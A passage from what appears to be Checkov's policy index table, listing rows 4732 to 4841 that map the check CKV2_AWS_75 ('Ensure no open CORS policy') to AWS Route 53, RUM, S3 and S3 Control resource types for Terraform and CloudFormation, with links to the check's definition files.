4732 | CKV2_AWS_75 | resource | aws_route53domains_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4733 | CKV2_AWS_75 | resource | aws_route53domains_registered_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4734 | CKV2_AWS_75 | resource | aws_route53domains_registered_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4735 | CKV2_AWS_75 | resource | aws_route53profiles_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4736 | CKV2_AWS_75 | resource | aws_route53profiles_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4737 | CKV2_AWS_75 | resource | aws_route53profiles_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4738 | CKV2_AWS_75 | resource | aws_route53profiles_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4739 | CKV2_AWS_75 | resource | aws_route53profiles_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4740 | CKV2_AWS_75 | resource | aws_route53profiles_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4741 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_cluster | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4742 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_cluster | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4743 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_control_panel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4744 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_control_panel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4745 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_routing_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4746 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_routing_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4747 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_safety_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4748 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_safety_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4749 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_cell | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4750 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_cell | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4751 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_readiness_check | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4752 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_readiness_check | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4753 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_recovery_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4754 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_recovery_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4755 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_resource_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4756 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_resource_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4757 | CKV2_AWS_75 | resource | aws_route_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4758 | CKV2_AWS_75 | resource | aws_route_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4759 | CKV2_AWS_75 | resource | aws_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4760 | CKV2_AWS_75 | resource | aws_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4761 | CKV2_AWS_75 | resource | aws_rum_app_monitor | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4762 | CKV2_AWS_75 | resource | aws_rum_app_monitor | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4763 | CKV2_AWS_75 | resource | aws_rum_metrics_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4764 | CKV2_AWS_75 | resource | aws_rum_metrics_destination | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4765 | CKV2_AWS_75 | resource | aws_s3_access_point | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4766 | CKV2_AWS_75 | resource | aws_s3_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4767 | CKV2_AWS_75 | resource | aws_s3_account_public_access_block | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4768 | CKV2_AWS_75 | resource | aws_s3_account_public_access_block | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4769 | CKV2_AWS_75 | resource | aws_s3_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4770 | CKV2_AWS_75 | resource | aws_s3_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4771 | CKV2_AWS_75 | resource | aws_s3_bucket_accelerate_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4772 | CKV2_AWS_75 | resource | aws_s3_bucket_accelerate_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4773 | CKV2_AWS_75 | resource | aws_s3_bucket_acl | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4774 | CKV2_AWS_75 | resource | aws_s3_bucket_acl | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4775 | CKV2_AWS_75 | resource | aws_s3_bucket_analytics_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4776 | CKV2_AWS_75 | resource | aws_s3_bucket_analytics_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4777 | CKV2_AWS_75 | resource | aws_s3_bucket_cors_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4778 | CKV2_AWS_75 | resource | aws_s3_bucket_cors_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4779 | CKV2_AWS_75 | resource | aws_s3_bucket_intelligent_tiering_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4780 | CKV2_AWS_75 | resource | aws_s3_bucket_intelligent_tiering_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4781 | CKV2_AWS_75 | resource | aws_s3_bucket_inventory | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4782 | CKV2_AWS_75 | resource | aws_s3_bucket_inventory | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4783 | CKV2_AWS_75 | resource | aws_s3_bucket_lifecycle_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4784 | CKV2_AWS_75 | resource | aws_s3_bucket_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4785 | CKV2_AWS_75 | resource | aws_s3_bucket_logging | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4786 | CKV2_AWS_75 | resource | aws_s3_bucket_logging | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4787 | CKV2_AWS_75 | resource | aws_s3_bucket_metric | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4788 | CKV2_AWS_75 | resource | aws_s3_bucket_metric | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4789 | CKV2_AWS_75 | resource | aws_s3_bucket_notification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4790 | CKV2_AWS_75 | resource | aws_s3_bucket_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4791 | CKV2_AWS_75 | resource | aws_s3_bucket_object | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4792 | CKV2_AWS_75 | resource | aws_s3_bucket_object | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4793 | CKV2_AWS_75 | resource | aws_s3_bucket_object_lock_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4794 | CKV2_AWS_75 | resource | aws_s3_bucket_object_lock_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4795 | CKV2_AWS_75 | resource | aws_s3_bucket_ownership_controls | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4796 | CKV2_AWS_75 | resource | aws_s3_bucket_ownership_controls | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4797 | CKV2_AWS_75 | resource | aws_s3_bucket_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4798 | CKV2_AWS_75 | resource | aws_s3_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4799 | CKV2_AWS_75 | resource | aws_s3_bucket_public_access_block | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4800 | CKV2_AWS_75 | resource | aws_s3_bucket_public_access_block | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4801 | CKV2_AWS_75 | resource | aws_s3_bucket_replication_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4802 | CKV2_AWS_75 | resource | aws_s3_bucket_replication_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4803 | CKV2_AWS_75 | resource | aws_s3_bucket_request_payment_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4804 | CKV2_AWS_75 | resource | aws_s3_bucket_request_payment_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4805 | CKV2_AWS_75 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4806 | CKV2_AWS_75 | resource | aws_s3_bucket_server_side_encryption_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4807 | CKV2_AWS_75 | resource | aws_s3_bucket_versioning | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4808 | CKV2_AWS_75 | resource | aws_s3_bucket_versioning | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4809 | CKV2_AWS_75 | resource | aws_s3_bucket_website_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4810 | CKV2_AWS_75 | resource | aws_s3_bucket_website_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4811 | CKV2_AWS_75 | resource | aws_s3_directory_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4812 | CKV2_AWS_75 | resource | aws_s3_directory_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4813 | CKV2_AWS_75 | resource | aws_s3_object | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4814 | CKV2_AWS_75 | resource | aws_s3_object | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4815 | CKV2_AWS_75 | resource | aws_s3_object_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4816 | CKV2_AWS_75 | resource | aws_s3_object_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4817 | CKV2_AWS_75 | resource | aws_s3control_access_grant | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4818 | CKV2_AWS_75 | resource | aws_s3control_access_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4819 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4820 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4821 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4822 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4823 | CKV2_AWS_75 | resource | aws_s3control_access_grants_location | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4824 | CKV2_AWS_75 | resource | aws_s3control_access_grants_location | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4825 | CKV2_AWS_75 | resource | aws_s3control_access_point_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4826 | CKV2_AWS_75 | resource | aws_s3control_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4827 | CKV2_AWS_75 | resource | aws_s3control_bucket | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4828 | CKV2_AWS_75 | resource | aws_s3control_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4829 | CKV2_AWS_75 | resource | aws_s3control_bucket_lifecycle_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4830 | CKV2_AWS_75 | resource | aws_s3control_bucket_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4831 | CKV2_AWS_75 | resource | aws_s3control_bucket_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4832 | CKV2_AWS_75 | resource | aws_s3control_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4833 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4834 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4835 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4836 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4837 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4838 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4839 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 4840 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 4841 | CKV2_AWS_75 | resource | aws_s3control_storage_lens_configuration | Ensure no open CORS policy | Terraform | 